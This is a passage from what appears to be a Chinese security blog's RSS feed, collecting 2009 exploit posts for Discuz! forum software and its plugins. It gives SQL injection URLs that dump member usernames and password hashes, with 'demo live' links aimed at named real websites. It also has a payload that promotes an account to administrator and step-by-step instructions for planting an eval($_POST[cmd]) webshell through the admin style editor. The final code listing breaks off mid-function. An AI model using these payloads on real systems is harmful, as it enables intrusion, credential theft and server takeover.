    <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$$_request</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$_key</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #000088;">$_value</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$_key</span><span style="color: #009900;">&#123;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#125;</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">'_'</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #000088;">$$_key</span> <span style="color: #339933;">=</span> daddslashes<span style="color: #009900;">&#40;</span><span style="color: #000088;">$_value</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>三、misc.php正好有个可以自定义message的点，其实也是未初始化：</p>

<div class="wp_codebox"><table><tr id="p11546"><td class="code" id="p1154code6"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$action</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'imme_binding'</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #000088;">$discuz_uid</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>isemail<span style="color: #009900;">&#40;</span><span style="color: #000088;">$id</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$msn</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$db</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>result_first<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT msn FROM <span style="color: #006699; font-weight: bold;">{$tablepre}</span>memberfields WHERE uid='<span style="color: #006699; font-weight: bold;">$discuz_uid</span>'&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000088;">$msn</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\t</span>&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$msn</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000088;">$id</span> <span style="color: #339933;">=</span> dhtmlspecialchars<span style="color: #009900;">&#40;</span><span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$id</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$id</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'@'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000088;">$msn</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$msn[0]</span><span style="color: #000099; font-weight: bold;">\t</span><span style="color: #006699; font-weight: bold;">$id</span>&quot;</span><span style="color: #339933;">;</span>
        <span style="color: #000088;">$db</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>query<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;UPDATE <span style="color: #006699; font-weight: bold;">{$tablepre}</span>memberfields SET msn='<span style="color: #006699; font-weight: bold;">$msn</span>' WHERE uid='<span style="color: #006699; font-weight: bold;">$discuz_uid</span>'&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        showmessage<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'msn_binding_succeed'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'memcp.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$result</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'Declined'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            dheader<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Location: memcp.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
            showmessage<span style="color: #009900;">&#40;</span><span style="color: #000088;">$response</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'result'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #666666; font-style: italic;">//$response没有初始化，可以自定义，</span>
        <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
   <span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/discuz-7-x-%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Discuz! Plugin Crazy Star &lt; = 2.0 Sql injection Vulnerability</title>
		<link>http://www.nuanyue.com/discuz-plugin-crazy-star-2-0-sql-injection-vulnerability.html</link>
		<comments>http://www.nuanyue.com/discuz-plugin-crazy-star-2-0-sql-injection-vulnerability.html#comments</comments>
		<pubDate>Thu, 03 Sep 2009 07:19:53 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Vulnerability order | 漏洞整理]]></category>
		<category><![CDATA[discuz漏洞]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=777</guid>
		<description><![CDATA[<p>========================[Author]============================</p>
<p>[+] Founded : ZhaoHuAn<br />
[+] Contact : ZhengXing[at]shandagames[dot]com<br />
[+] Blog : http://w[......]</p><p class='read-more'><a href='http://www.nuanyue.com/discuz-plugin-crazy-star-2-0-sql-injection-vulnerability.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>========================[Author]============================</p>
<p>[+] Founded : ZhaoHuAn<br />
[+] Contact : ZhengXing[at]shandagames[dot]com<br />
[+] Blog : http://www.patching.net/zhaohuan/<br />
[+] Date : August, 26th 2009 [Double Seventh Festival]</p>
<p>========================[Soft Info]=========================</p>
<p>Software: Discuz! Plugin Crazy Star(family)<br />
Version : 2.0<br />
Vendor : http://www.discuz.com</p>
<p>[-] Exploit:<br />
[+] 1) Register a User<br />
2) Login!<br />
[+] and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,group_concat(uid,0x3a,username,0x3a,password),25,26,27,28,29,30,31 from cdb_members&#8211;</p>
<p>[-] SqlI PoC:<br />
[+] http://target/[path]/plugin.php?identifier=family&#038;module=family&#038;action=view&#038;fmid=1+and+1=2+unIon+selecT+ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,group_concat(uid,0x3a,username,0x3a,password),25,26,27,28,29,30,31 from cdb_members&#8211;<br />
[?] = Valid fmid Number</p>
<p>[+] Demo Live:<br />
[-] http://sj.netease.com/plugin.php?identifier=family&#038;module=family&#038;action=view&#038;fmid=6+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,group_concat(uid,0x3a,username,0x3a,password),19,20,21,22,23,24,25,26,27,28,29,30,31 from bbs_members&#8211;</p>
<p>[-] http://www.war3club.net/plugin.php?identifier=family&#038;module=family&#038;action=view&#038;fmid=11+and+1=2+unIon+selecT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,group_concat(uid,0x3a,username,0x3a,password),25,26,27,28,29,30,31,32,33 from cdb_members&#8211;</p>
<p>/&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;www.zhaohuan.net&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\</p>
<p>Today is the VALENTINE&#8217;S Day in China, the seventh day of the seventh lunar month.<br />
Raise your head on August 26 and gaze at the stars, you will find something romantic going on in the sky <img src='http://www.nuanyue.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
Greetz : Weeny <- love u more &#038; more</p>
<p>\&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;/</p>
<p># milw0rm.com [2009-08-26]</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/discuz-plugin-crazy-star-2-0-sql-injection-vulnerability.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Discuz! 7.0 及以下版本后台拿webshell（无需创始人）</title>
		<link>http://www.nuanyue.com/discuz-7-0-%e5%8f%8a%e4%bb%a5%e4%b8%8b%e7%89%88%e6%9c%ac%e5%90%8e%e5%8f%b0%e6%8b%bfwebshell%ef%bc%88%e6%97%a0%e9%9c%80%e5%88%9b%e5%a7%8b%e4%ba%ba%ef%bc%89.html</link>
		<comments>http://www.nuanyue.com/discuz-7-0-%e5%8f%8a%e4%bb%a5%e4%b8%8b%e7%89%88%e6%9c%ac%e5%90%8e%e5%8f%b0%e6%8b%bfwebshell%ef%bc%88%e6%97%a0%e9%9c%80%e5%88%9b%e5%a7%8b%e4%ba%ba%ef%bc%89.html#comments</comments>
		<pubDate>Wed, 02 Sep 2009 08:18:37 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Vulnerability order | 漏洞整理]]></category>
		<category><![CDATA[discuz漏洞]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=748</guid>
		<description><![CDATA[<div class="wp_codebox"><table><tr id="p7487"><td class="code" id="p748code7"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&#60;</span> ?php
<span style="color: #339933;">......</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$newcvar</span> <span style="color: #339933;">&#38;&#38;</span> <span style="color: #000088;">$newcsubst</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$db</span><span style="color: #339933;">-&#62;</span><span style="color: #004000;">result_first</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&#34;SELECT COUNT(*) FROM <span style="color: #006699; font-weight: bold;">{$tablepre}</span>stylevars WHE[......]</span></pre></td></tr></table></div><p class='read-more'><a href='http://www.nuanyue.com/discuz-7-0-%e5%8f%8a%e4%bb%a5%e4%b8%8b%e7%89%88%e6%9c%ac%e5%90%8e%e5%8f%b0%e6%8b%bfwebshell%ef%bc%88%e6%97%a0%e9%9c%80%e5%88%9b%e5%a7%8b%e4%ba%ba%ef%bc%89.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[
<div class="wp_codebox"><table><tr id="p7488"><td class="code" id="p748code8"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
<span style="color: #339933;">......</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$newcvar</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$newcsubst</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$db</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">result_first</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT COUNT(*) FROM <span style="color: #006699; font-weight: bold;">{$tablepre}</span>stylevars WHERE variable='<span style="color: #006699; font-weight: bold;">$newcvar</span>' AND styleid='<span style="color: #006699; font-weight: bold;">$id</span>'&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
cpmsg<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'styles_edit_variable_duplicate'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'error'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/[a-zA-Z_<span style="color: #660099; font-weight: bold;">\x7f</span>-<span style="color: #660099; font-weight: bold;">\xff</span>][a-zA-Z0-9_<span style="color: #660099; font-weight: bold;">\x7f</span>-<span style="color: #660099; font-weight: bold;">\xff</span>]*/&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$newcvar</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
cpmsg<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'styles_edit_variable_illegal'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'error'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000088;">$newcvar</span> <span style="color: #339933;">=</span> <span style="color: #990000;">strtolower</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$newcvar</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$db</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;INSERT INTO <span style="color: #006699; font-weight: bold;">{$tablepre}</span>stylevars (styleid, variable, substitute)
VALUES ('<span style="color: #006699; font-weight: bold;">$id</span>', '<span style="color: #006699; font-weight: bold;">$newcvar</span>', '<span style="color: #006699; font-weight: bold;">$newcsubst</span>')&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #666666; font-style: italic;">//插入变量数据，From www.oldjun.com</span>
<span style="color: #339933;">......</span>
updatecache<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'styles'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #666666; font-style: italic;">//更新缓存（写文件），From www.oldjun.com</span>
<span style="color: #339933;">......</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>这是为某一style风格增加变量的代码，把变量名与变量的值存入数据库，虽然post过来的数据daddslashes了，但入库之后又都是纯净的数据了。</p>
<p>这里涉及到一个正则问题，判断变量名的：!preg_match(&#8220;/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f- \xff]* /&#8221;, $newcvar)，其中“\x7f-\xff”是指ASCII码值在127～255之间的字符，它们经常作为中文字符的首字节出现，所以可以利用其作为中文匹配的标志。于是这个匹配貌似只是允许字母或者中文做变量名，没其他高深的匹配，随便测试了下，一般情况下这个正则等于虚设：</p>
<p>< ?php<br />
$newcvar=$_GET['newcvar'];<br />
echo $newcvar;<br />
echo "<br />&#8220;;<br />
if(!preg_match(&#8220;/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/&#8221;, $newcvar)) {<br />
echo &#8220;haha&#8221;;<br />
}else{<br />
echo &#8216;pass&#8217;;<br />
}<br />
?>下面看看updatecache这个函数，在include里的cache.func.php文件里，先从数据库取出来，经过一段处理最终写入文件，具体我不描述了，我只谈谈重点，看一段函数：</p>
<p>function getcachevars($data, $type = &#8216;VAR&#8217;) {<br />
$evaluate = &#8221;;<br />
foreach($data as $key => $val) {<br />
if(is_array($val)) {<br />
$evaluate .= &#8220;\$$key = &#8220;.arrayeval($val).&#8221;;\n&#8221;;<br />
} else {<br />
$val = addcslashes($val, &#8216;\&#8217;\\&#8217;);<br />
$evaluate .= $type == &#8216;VAR&#8217; ? &#8220;\$$key = &#8216;$val&#8217;;\n&#8221; : &#8220;define(&#8216;&#8221;.strtoupper($key).&#8221;&#8216;, &#8216;$val&#8217;);\n&#8221;;<br />
}<br />
}<br />
return $evaluate;<br />
}啥也不说了，处理了value没处理key，而这个key就是之前我们提交的，干净的存在数据库里的值。关于数组的key，大家可以参考下幻影旅团第三期《高级PHP代码审核技术》，那篇文章好多地方谈到key的问题，dz这里却忽视了&#8230;</p>
<p>于是可以直接拿shell了，利用方法（论坛地址改成自己的），先用管理员帐号登陆后台，无需论坛创始人，管理员等级即可：</p>
<p>http://www.oldjun.com/bbs/admincp.php?action=styles&#038;operation=edit&#038;id=1&#038;adv=1</p>
<p>中，最下面有个“自定义模板变量”，变量中填：</p>
<p>OLDJUN&#8217;, &#8216;#999&#8242;);eval($_POST[cmd]);//替换内容随便输入：1111，然后提交，一句话木马就产生了：</p>
<p>http://www.oldjun.com/bbs/forumdata/cache/style_1.php</p>
<p>如果你修改的style的id是2的话，对于的shell就是style_2.php。</p>
<p>这个风格模板可以导入导出的，于是有了ring04h的那个dzshell，嫌麻烦可以直接用那个导入风格获取shell。</p>
<p>注：很多人反应连不上一句话，我发现我文章少说了一句：</p>
<p>$evaluate .= $type == &#8216;VAR&#8217; ? &#8220;\$$key = &#8216;$val&#8217;;\n&#8221; : &#8220;define(&#8216;&#8221;.strtoupper($key).&#8221;&#8216;, &#8216;$val&#8217;);\n&#8221;;这句话是说所有的变量名换成大写的了！</p>
<p>因此请用大写的CMD做为你一句话的密码！</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/discuz-7-0-%e5%8f%8a%e4%bb%a5%e4%b8%8b%e7%89%88%e6%9c%ac%e5%90%8e%e5%8f%b0%e6%8b%bfwebshell%ef%bc%88%e6%97%a0%e9%9c%80%e5%88%9b%e5%a7%8b%e4%ba%ba%ef%bc%89.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Discuz!黑道生涯插件注射漏洞</title>
		<link>http://www.nuanyue.com/discuz%e9%bb%91%e9%81%93%e7%94%9f%e6%b6%af%e6%8f%92%e4%bb%b6%e6%b3%a8%e5%b0%84%e6%bc%8f%e6%b4%9e.html</link>
		<comments>http://www.nuanyue.com/discuz%e9%bb%91%e9%81%93%e7%94%9f%e6%b6%af%e6%8f%92%e4%bb%b6%e6%b3%a8%e5%b0%84%e6%bc%8f%e6%b4%9e.html#comments</comments>
		<pubDate>Wed, 02 Sep 2009 08:16:07 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Vulnerability order | 漏洞整理]]></category>
		<category><![CDATA[discuz漏洞]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=746</guid>
		<description><![CDATA[<p>插件版本：2.2  2.5</p>
<p>注册一个论坛ID<br />
IE提交下面代码</p>
<p>blackband.php?mode=yule&#038;action=enjoy&#038;id=2 and 1=2 union select 1,0x2D312C67726F757069643D312C61646D696E69643[......]</p><p class='read-more'><a href='http://www.nuanyue.com/discuz%e9%bb%91%e9%81%93%e7%94%9f%e6%b6%af%e6%8f%92%e4%bb%b6%e6%b3%a8%e5%b0%84%e6%bc%8f%e6%b4%9e.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>插件版本：2.2  2.5</p>
<p>注册一个论坛ID<br />
IE提交下面代码</p>
<p>blackband.php?mode=yule&#038;action=enjoy&#038;id=2 and 1=2 union select 1,0x2D312C67726F757069643D312C61646D696E69643D31,3,4/</p>
<p>提升到管理员</p>
<p>discuz7.0.0后台得webshell方法</p>
<p>http://www.oldjun.com/blog/index.php/archives/48/</p>
<p>如果是discuz6.0 的后台就提交<br />
admincp.php?action=styles&#038;edit=1<br />
最后得到的webshell地址还是forumdata/cache/style_1.php</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/discuz%e9%bb%91%e9%81%93%e7%94%9f%e6%b6%af%e6%8f%92%e4%bb%b6%e6%b3%a8%e5%b0%84%e6%bc%8f%e6%b4%9e.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Discuz!论坛wap功能模块编码的注射漏洞</title>
		<link>http://www.nuanyue.com/discuz%e8%ae%ba%e5%9d%9bwap%e5%8a%9f%e8%83%bd%e6%a8%a1%e5%9d%97%e7%bc%96%e7%a0%81%e7%9a%84%e6%b3%a8%e5%b0%84%e6%bc%8f%e6%b4%9e.html</link>
		<comments>http://www.nuanyue.com/discuz%e8%ae%ba%e5%9d%9bwap%e5%8a%9f%e8%83%bd%e6%a8%a1%e5%9d%97%e7%bc%96%e7%a0%81%e7%9a%84%e6%b3%a8%e5%b0%84%e6%bc%8f%e6%b4%9e.html#comments</comments>
		<pubDate>Wed, 02 Sep 2009 05:08:05 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Vulnerability order | 漏洞整理]]></category>
		<category><![CDATA[discuz漏洞]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=735</guid>
		<description><![CDATA[<p>Discuz!论坛wap功能模块编码的注射漏洞</p>
<p>影响版本:<br />
Discuz!4.0.0<br />
Discuz!4.1.0<br />
Discuz!5.0.0<br />
Discuz!5.5.0<br />
Discuz!6.0.0<br />
Discuz!6.1.0</p>
<p>描述:<br />
Discuz!论坛系统是一个采用 PHP 和 MySQL 等其他多种数据库构[......]</p><p class='read-more'><a href='http://www.nuanyue.com/discuz%e8%ae%ba%e5%9d%9bwap%e5%8a%9f%e8%83%bd%e6%a8%a1%e5%9d%97%e7%bc%96%e7%a0%81%e7%9a%84%e6%b3%a8%e5%b0%84%e6%bc%8f%e6%b4%9e.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>Discuz!论坛wap功能模块编码的注射漏洞</p>
<p>影响版本:<br />
Discuz!4.0.0<br />
Discuz!4.1.0<br />
Discuz!5.0.0<br />
Discuz!5.5.0<br />
Discuz!6.0.0<br />
Discuz!6.1.0</p>
<p>描述:<br />
Discuz!论坛系统是一个采用 PHP 和 MySQL 等其他多种数据库构建的高效论坛解决方案。Discuz! 在代码质量，运行效率，负载能力，安全等级，功能可操控性和权限严密性等方面都在广大用户中有良好的口碑</p>
<p>由于 PHP 对 多字节字符集的支持存在问题，在各种编码相互转换过程中，有可能引发程序溢出和程序错误<br />
提交一个 &#8216;<br />
转意成 \&#8217;<br />
然后转成gbk的，\和&#8217;就变成两个字符了<br />
&#8216;就可以成功的引入<br />
测试方法:<br />
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!</p>

<div class="wp_codebox"><table><tr id="p73510"><td class="code" id="p735code10"><pre class="php" style="font-family:monospace;">&nbsp;
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">defined</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'IN_DISCUZ'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Access Denied'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'CODETABLE_DIR'</span><span style="color: #339933;">,</span> DISCUZ_ROOT<span style="color: #339933;">.</span><span style="color: #0000ff;">'./include/tables/'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">class</span> Chinese <span style="color: #009900;">&#123;</span>
<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$table</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$iconv_enabled</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$unicode_table</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$config</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span>
<span style="color: #009900;">&#40;</span>
<span style="color: #0000ff;">'SourceLang'</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span>
<span style="color: #0000ff;">'TargetLang'</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span>
<span style="color: #0000ff;">'GBtoUnicode_table'</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #0000ff;">'gb-unicode.table'</span><span style="color: #339933;">,</span>
<span style="color: #0000ff;">'BIG5toUnicode_table'</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #0000ff;">'big5-unicode.table'</span><span style="color: #339933;">,</span>
<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> Chinese<span style="color: #009900;">&#40;</span><span style="color: #000088;">$SourceLang</span><span style="color: #339933;">,</span> <span style="color: #000088;">$TargetLang</span><span style="color: #339933;">,</span> <span style="color: #000088;">$ForceTable</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000088;">$this</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>config<span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'SourceLang'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>_lang<span style="color: #009900;">&#40;</span><span style="color: #000088;">$SourceLang</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$this</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>config<span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'TargetLang'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>_lang<span style="color: #009900;">&#40;</span><span style="color: #000088;">$TargetLang</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span>’<span style="color: #990000;">iconv</span>’<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>config<span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'TargetLang'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">!=</span> ‘BIG5′ <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #339933;">!</span><span style="color: #000088;">$ForceTable</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000088;">$this</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>iconv_enabled <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000088;">$this</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>iconv_enabled <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$this</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>OpenTable<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> _lang<span style="color: #009900;">&#40;</span><span style="color: #000088;">$LangCode</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000088;">$LangCode</span> <span style="color: #339933;">=</span> <span style="color: #990000;">strtoupper</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$LangCode</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
